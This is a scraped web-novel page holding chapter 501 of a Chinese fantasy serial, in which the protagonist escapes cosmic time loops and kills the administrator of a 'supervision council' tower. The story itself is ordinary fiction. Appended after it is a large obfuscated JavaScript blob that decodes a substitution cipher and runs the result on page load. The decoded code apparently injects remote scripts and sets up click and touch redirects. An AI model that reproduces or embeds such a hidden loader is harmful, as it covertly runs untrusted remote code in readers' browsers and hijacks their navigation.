首页
[切换至繁体版]
返回

第501章 万古轮回的墓场!

章节报错(免登陆)
下载APP,无广告、完整阅读

新笔趣阁(52xbq.com)更新快,无弹窗!

    第501章万古轮回的墓场!(第1/2页)
    “逻辑零域?听起来就像是个专门给那些老掉牙的‘观察者’们准备的疗养院。”
    陆承洲冷笑一声,他感受到了,在那无尽黑暗的尽头,一股远超至高神界的、冷酷到近乎机械的恐怖意志,正在苏醒。
    那是不属于生灵的意志。
    那是多元宇宙的“管理员”。
    轰隆隆!!
    随着一声仿佛将灵魂都震碎的剧烈撞击,诸神黄昏号与钢铁行星终于冲出了时空隧道,正式降临在了那个从未有外来者染指的禁忌之地——高等位面监管区。
    眼前的景象,让即便是见惯了神界辉煌与深渊狰狞的帝国将士们,也忍不住陷入了短暂的失神。
    这里没有星辰,没有尘埃,甚至连光线都是一种极其死板、毫无生机的银灰色。
    在正前方那片虚无的中央,矗立着一座高不可攀、仿佛连接了宇宙过去与未来的庞大建筑——银色高塔。
    那座塔太大了。大到即便是长达百里的诸神黄昏号,在它面前也不过像是一粒围绕着巨塔飞舞的微尘。塔身上密布着无数巨大的齿轮,那些齿轮并非由金属打造,而是由纯粹的“时间碎片”与“因果逻辑”交织而成。
    咔嚓,咔嚓。
    齿轮每一次咬合转动,这多元宇宙中可能就会有一个位面诞生,或者一个文明走向覆灭。
    “这就是监管会……这就是那群玩弄众生命运的操盘手的老窝吗?”
    维罗妮卡站在王座旁,她紧紧抓着《真理圣典》,脸色苍白如纸。在这座高塔散发出的那股“绝对稳定”的压力下,她感觉自己的心跳、呼吸、甚至体内的血液流动,都在被强行修正、强行规范。
    这是一种比死还要恐怖的压抑。因为在这里,你连怎么死,都是被提前算好的“最优解”。
    “非法入侵者,陆承洲。”
    一道宏大、机械、不带一丝温情的音浪,从银色高塔的每一个齿轮缝隙中喷涌而出,瞬间将整支舰队笼罩在内。
    “判定:晨星帝国文明指数超出宇宙冗余上限。威胁等级:极危。执行:因果抹除。”
    那声音落下的一瞬间,陆承洲的瞳孔骤然收缩。
    他没有感受到任何物理攻击。
    但就在那一刹那,他看到身边的维罗妮卡突然消失了。不仅是消失,而是关于维罗妮卡的所有记忆、关于她在深渊建立的一切痕迹,都在他的感知中迅速淡化。
    紧接着,整座诸神黄昏号开始变得透明,那些坚不可摧的泰坦装甲、那些咆哮的阳炎大炮,竟然都在像灰尘一样瓦解。
    “不好!是时间回溯!他们直接否定了我们这段时间的成长史!”
    螺栓大师只来得及发出一声绝望的咆哮,他的身体便化作了一团乱码。
    陆承洲只觉得眼前一黑。
    ……
    (循环开始:第一次死亡)
    “陛下,龙域的整合进度超出了预期……”
    耳边传来熟悉的声音。
    陆承洲猛地睁开双眼,他发现自己竟然重新回到了半个时辰前,正坐在天火城的空中花园里,手里还端着那杯圣光神露。
    “嗯?”
    陆承洲眉头紧皱。那种灵魂被强行拉扯、逻辑被强行重置的感觉,即便是他现在的神格也感到了一阵极其剧烈的恶心。
    刚才……那是发生了什么?
    由于他熔炼了极暗之心,并拥有诸神黄昏神格,他的灵魂位格极高,这种全方位的“因果重置”竟然没能洗掉他最核心的记忆。
    “陛下,您怎么了?”维罗妮卡有些疑惑地看着陆承洲,她并没有发现任何异样。
    陆承洲没有回答,他死死地盯着天空中那个即将出现的银白色光束。
    果然。
    三秒钟后,天空扭曲,执行官萨莱再次降临。
    “深渊位面,第四层。文明发展指数:异常。吾名萨莱……”
    台词一模一样。
    “萨你妈的头!”
    陆承洲这一次甚至没等对方把话说完,直接在对方降临的瞬间,调动了整座钢铁行星的真理坍缩炮。
    “开火!!!”
    轰!!
    毫无防备的萨莱直接被打成了齑粉。
    但陆承洲脸上没有喜色,他感应到了,在那银色高塔的方向,那股冷酷的意志再次波动。
    “判定:变量失控。执行:二次回溯。”
    嗡————
    陆承洲再次感到灵魂一阵剧痛,视线模糊。
    ……
    (循环:第十次)
    陆承洲依然坐在花园里。
    这一次,他没有急着动手。他的脸色阴沉得能滴出水来。
    这种感觉太憋屈了。对方手里握着整个宇宙的“存盘按钮”。无论你表现得多么强悍,无论你研发出了多么恐怖的降维武器,只要你无法突破这层时间的壁垒,你所有的努力在他们眼里不过是可以在一秒钟内撤销的无意义涂鸦。
    这就是监管会的终极防御手段。
    我不跟你打架,我直接不承认你这段时间活过。
    “想把老子玩死在循环里?”
    陆承洲的手指死死扣住王座的扶手,暗紫色的神火在指缝间疯狂地跳跃着。
    在那银色高塔降下的意志中,他隐约察觉到了一种高高在上的蔑视。这种蔑视不是针对他陆承洲个人,而是针对所有试图通过“劳动”和“技术”实现跨阶层飞跃的底层生灵。
    在那些观察者的逻辑里,深渊永远只能是肮脏的。
    如果深渊变美了,变强了,那一定是逻辑出错了,必须要抹除。
    “老子最恨的,就是这种坐在高位上、理所当然定义别人命运的畜生!”
    陆承洲猛地站起身,他没有理会正在疑惑的维罗妮卡,而是缓缓闭上了双眼。
    既然常规的工业武器和神格力量无法突破因果,那么……
    他就要动用那个一直以来被他视为底牌、也是最危险的禁术。
    《血神经》·第十三卷——因果剥离·大舍弃术!
    这是《血神经》中最恶毒、也最疯狂的一招。它的原理不是去修补因果,而是直接将施法者从“宇宙共同因果链条”中强行撕扯下来。
    一旦施展,陆承洲将不再是这个宇宙的组成部分。他将变成一个绝对的、无法被观测到的、无法被逻辑锁定的“无因之鬼”。
    代价是,如果他在剥离状态下死亡,他将不会进入轮回,而是会被彻底从所有时空位面中永久抹除,连渣都不剩。
    “陛下,您……您的身体在变红?”
    维罗妮卡惊恐地后退,她看到陆承洲的每一根汗毛里都渗出了暗红色的血丝,那些血丝在空中交织,渐渐形成了一个巨大的、跳动着的血色蚕茧。
    ……
    (循环:第一百次)
    “判定:非法变量陆承洲,存在感异常削弱。逻辑自洽度:下降。执行:强制对齐。”
    银色高塔内,负责这一片星域监测的一名“逻辑判官”有些疑惑地盯着水晶屏幕。
    在他的屏幕上,原本那个代表着极危威胁的暗紫色红点(陆承洲),此时正在不断地闪烁、变淡。
    “怎么回事?难道回溯太多次,把这个变量的灵魂给洗碎了?”判官喃喃自语,他那银色的手指在虚空中拨动了一下。
    “再次回溯,将该位面推回至五百年前。彻底抹除晨星帝国的萌芽。”
    判官面无表情地按下了蓝色的按钮。
    然而。
    这一次,预想中的位面重置并没有发生。
    轰隆隆!!
    整个银色高塔剧烈地震动了一下。
    “警报!警报!捕获到非法因果剥离实体!该目标已脱离监管系统观测视角!逻辑链条发生暴力断裂!”
    “什么?!”
    判官猛地站起身。
    只见在那空荡荡的、本该是银灰色虚无的监管区半空中。
    一团浓郁到几乎发黑的血雾,正像一颗疯狂膨胀的肿瘤,死死地粘附在了银色高塔最外层的时间齿轮上!
    在那血雾的核心。
    陆承洲那双暗紫色的重瞳猛然睁开,只不过此时,那眼中再也没有了一丝情感,只有无穷无尽的死寂与剥夺。
    “玩够了吧?”
    陆承洲的声音不再通过空气传播,而是直接在每一个监管者的因果核心中炸响。
    “刚才你按了多少下按钮,老子今天,就在你的高塔里,补上多少炮!”
    陆承洲那由血雾构成的、长达万丈的巨大法身,在虚空中猛地一握。
    撕拉————!
    一截刻满了神圣法则的时间齿轮,竟然被他用这股“剥离之理”,硬生生地从高塔的本体上给拽了下来!
    ……
    “警告!外部逻辑装甲受损百分之五!非法实体已侵入第二防御圈!”
    银色高塔内部,那一层层精密到了极点的时空回路正在疯狂超载。
    陆承洲像一个闯入精美瓷器店的野蛮暴徒。他不需要什么精妙的走位,也不需要什么华丽的技能。他每走一步,他的身体就会喷吐出海量的“因果病毒”。
    那些原本由纯粹逻辑支撑的银色长廊,在接触到陆承洲散发的血气后,迅速变红、腐烂、坍塌。
    “该死的!拦住他!用‘绝对真理结界’!”
    数十名身穿银色长袍、散发着超越主神威压的“监管执行官”从高塔深处掠出。他们手中的权杖同时指向陆承洲,试图用法则的力量将这个怪物重新定义为“无害的尘埃”。
    “定义老子?”
    (本章未完,请点击下一页继续阅读)第501章万古轮回的墓场!(第2/2页)
    陆承洲在那遮天蔽日的血雾中露出一个狰狞的笑容。
    他反手一招。
    诸神黄昏号虽然还在天火城的时间坐标里,但作为陆承洲的本命法宝,它的一部分投影竟然直接跨越了因果的剥离,降临在了他的身后!
    “螺栓!铁须!给老子打!!!”
    “陛下!我们好像是在……在一堆代码里开火?!”螺栓兴奋得牙齿都在打战,这种前所未有的开火体验让他感到了极致的颤栗。
    “别管在那儿开火!把所有的‘真理坍缩炮’都给老子装上‘因果传染插件’!”
    “这一炮下去,老子要让他们的高塔,从逻辑底层开始拉肚子!!”
    轰!!!!!!
    那一束超越了光与暗的诡异光柱,再次喷薄而出。
    但这道光柱在接触到那些执行官的瞬间,产生的效果不再是降维,而是更恐怖的——“属性倒转”。
    那几十名执掌着防御、抹杀、监测法则的高官,在这一炮之下,竟然在瞬间变成了一群在原地打滚、尖叫着想要吃奶的——婴儿。
    甚至,连他们脚下的那段走廊,都变成了一团粉红色的棉花糖。
    这就是陆承洲在亿万次微型循环中感悟出的真谛:在监管会的世界里,逻辑就是一切。那么,只要老子把你的逻辑彻底搞乱,你就是一坨会呼吸的乱码。
    陆承洲踩着棉花糖走廊,一脚踩碎了一名执行官婴儿的脑袋。
    没有鲜血。
    只有一堆破碎的银色符号在空气中飞舞。
    陆承洲张开大嘴,猛地一吸。
    哈——!
    这些代表着宇宙最高权限的符号,被他像吃零食一样吞进肚子里。
    他每吃掉一段符号,他身上的气息就变得厚重一分,神格的融合度就在疯狂跳动。
    “继续拆!给我拆到塔尖去!”
    陆承洲狂吼着,化作一道血色的龙卷风,一路向上肆虐。
    他拆掉了一座代表“重力均衡”的控制室,结果导致监管区内无数原本整齐的位面轨道瞬间崩塌;
    他砸碎了一个代表“生命上限”的逻辑核心,结果在遥远的人类世界,无数原本垂死的老人突然生龙活虎地跳了起来,而一群刚出生的婴儿却在一秒钟内长出了白胡子。
    整个多元宇宙乱套了。
    但陆承洲不在乎。
    他要的就是这乱世。
    唯有乱,才能让这些自诩神明的观察者露出马脚。
    唯有乱,才能让他这个在泥潭里长大的魔主,真正握住宇宙的刀柄。
    ……
    银色高塔的最高层,名为“起源之厅”。
    这里没有华丽的装潢,只有一个巨大无比的、缓慢旋转着的半透明圆球。
    圆球的内部,是密密麻麻、重叠了亿万层的微缩位面。这便是整套监管系统的核心——【万界总机·宇宙原始核心】。
    而在圆球的前方,坐着一个看起来极其平凡的老者。
    他没有头发,眉毛长得拖到了地上,穿着一件灰色的粗布麻衣。他手中正拿着一支笔,在一个本子上极其专注地涂抹着。
    砰!!
    起源之厅那扇由逻辑硬度构成的沉重铁门,被陆承洲一脚踹成了碎片。
    陆承洲浑身浴血(虽然那是敌人的逻辑碎片化成的假血),灭世者断枪在地上拖行,划出了一道焦黑的痕迹。他那双暗紫色的重瞳,死死地锁定了那个老者。
    “监管会长,我该叫你上帝,还是叫你……宇宙的打字员?”
    陆承洲吐出一口带着血腥味的唾沫,语气中透着一股终于找到正主的变态快感。
    老者并没有抬头,他手中的笔依旧在飞快地走动着,声音平淡得如同一潭死水。
    “这一段,我原本写的是你在这里力竭而亡,你的帝国化作尘埃。”
    老者停下笔,终于抬起了头。
    陆承洲在看清老者容貌的一瞬间,心脏猛地漏跳了一拍。
    那张脸……
    竟然和他穿越前的自己,一模一样!
    只不过,那双眼睛里,没有陆承洲的野心,只有一种看穿了万物凋零后的、极致的虚无与厌倦。
    “你掌握了《血神经》的剥离术,这让我很意外。”老者看着陆承洲,嘴角泛起一抹极其僵硬的弧度,“你竟然敢把自己从我的剧本里‘撕’下来。你知道这意味着什么吗?”
    “意味着,老子现在能把你这支烂笔给掰断!”
    陆承洲没有丝毫的犹豫,更没有陷入什么哲学思辨的陷阱。
    作为深渊出来的流氓,他只信奉一个准则:只要敌人长了嘴巴,那就得在他闭嘴前,把枪捅进去。
    “杀!!!”
    陆承洲整个人化作一道足以贯穿纪元的黑色长虹,手中的灭世者断枪,带着他毕生的复仇、野心、以及对这虚伪秩序的极致愤怒,笔直地刺向了老者的胸膛。
    这一枪,凝聚了整个深渊的战吼!
    这一枪,承载了泰坦与最初之恶的终极诅咒!
    老者的眼中闪过一丝极其复杂的感触——是欣慰?还是恐惧?
    他抬起那支看起来普通的笔,轻轻一划。
    “因果断层。”
    陆承洲只觉得自己的长枪在接触到老者身前一寸处时,突然像是刺入了一片不存在的时空。
    老者就坐在那里,却又仿佛隔着亿万光年的距离。
    “陆承洲,你确实是个出色的变量。但这个宇宙之所以能运转,是因为它有一套自我修复的底层逻辑。你杀了我,这万界核心就会因为失去管理员而瞬间崩坏。到时候,你那些宝贝子民,你那个所谓的晨星帝国,会连同整个宇宙一起,在一微秒内灰飞烟灭。”
    老者平静地站起身,他手中的笔尖闪烁着让陆承洲感到战栗的银光。
    “你真的,做好这种同归于尽的准备了吗?”
    陆承洲停下了冲锋,他悬浮在半空,剧烈地喘息着。
    神座之下的维罗妮卡,那几百万劳工的笑脸,铁须大口喝酒的豪迈,螺栓抱着零件睡觉的憨态……这些画面在他脑海中走马灯般闪过。
    老者露出了胜券在握的微笑。他见过太多英雄在这一刻陷入迟疑。只要有弱点,就依然是可以被写在剧本里的“角色”。
    然而。
    陆承洲却突然也笑了。
    那是比起老者更冷、更狂、更不计后果的疯狂笑容。
    “同归于尽?”
    陆承洲缓缓抬起头,那双暗紫色的重瞳中,竟然燃烧起了一种名为“绝对自私”的光芒。
    “你这种活了亿万年的老王八,还是不太了解我们人类这种生物啊。”
    陆承洲重新握紧了断枪,语气中透着一种要将全世界都拉下水的霸道。
    “老子的帝国,老子的子民,他们存在的意义,是为了让老子爽,是为了让老子登临巅峰。”
    “如果老子今天不能按照自己的意思活,如果老子以后还得看你这支破笔的脸色……”
    “那这整个宇宙。”
    “还要它干什么?!!!”
    “给我……一起爆吧!!!”
    陆承洲在这一刻,竟然毫不犹豫地反向点燃了自己的“诸神黄昏神格”!
    他不是要自爆杀敌。
    他是要利用自爆产生的、足以重写宇宙逻辑的庞大能量,强行作为燃料,灌入他手中的那杆长枪。
    轰————————!!!!!
    老者那张万古不变的淡然脸庞,终于在这一刻,彻底崩坏。
    他惊恐地发现,陆承洲不是在开玩笑。这个疯子,竟然真的愿意为了那一瞬间的“老子不爽”,而亲手按下一键清零的按钮!
    这种无视一切道德、无视一切后果的“绝对混沌”,是这个精密严谨的监管系统最底层的死穴!
    “疯子!你这个彻头彻尾的疯子!快停下!!”
    老者疯狂地挥动笔杆,试图修补因果。
    但陆承洲已经化作了一团能够焚毁时空的炽热暗火。
    “时代……该谢幕了!!!”
    那一枪,终于穿透了“因果断层”。
    噗嗤!
    长枪贯穿了老者的喉咙,随后余势不减,狠狠地扎进了老者身后那个代表着万界总机的半透明圆球之中!
    ……
    死寂。
    整个宇宙仿佛在这一刻停止了思考。
    紧接着。
    银色高塔内,爆发出了一声足以让亿万星系产生共振的、最最凄厉的“代码崩溃”之音。
    在那起源之厅的废墟中央。
    陆承洲浑身破碎不堪,像是一块被强行拼接在一起的碎瓷片,单膝跪地。
    他的手中,依然死死握着断枪。
    而那名老者已经消失了。
    那个半透明的圆球,此时正像一个被捅穿了的高压水箱,正喷涌出无穷无尽的、色彩斑斓的“原始法则洪流”。
    “陛下……成功了吗?”
    通讯频道里,传来了螺栓虚弱到极点的声音。
    陆承洲没有回答。
    他费力地抬起头。
    他看到,原本那层覆盖在宇宙外围的、冷酷死板的“监管天幕”,正在这股洪流的冲击下,像被烧红的烙铁烫过的塑料纸一样,迅速地卷曲、消融。
    那曾经让众生感到压抑的、无处不在的“命运感”,消失了。
    取而代之的,是一种前所未有的、甚至有些让人感到恐慌的、绝对的野性自由。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();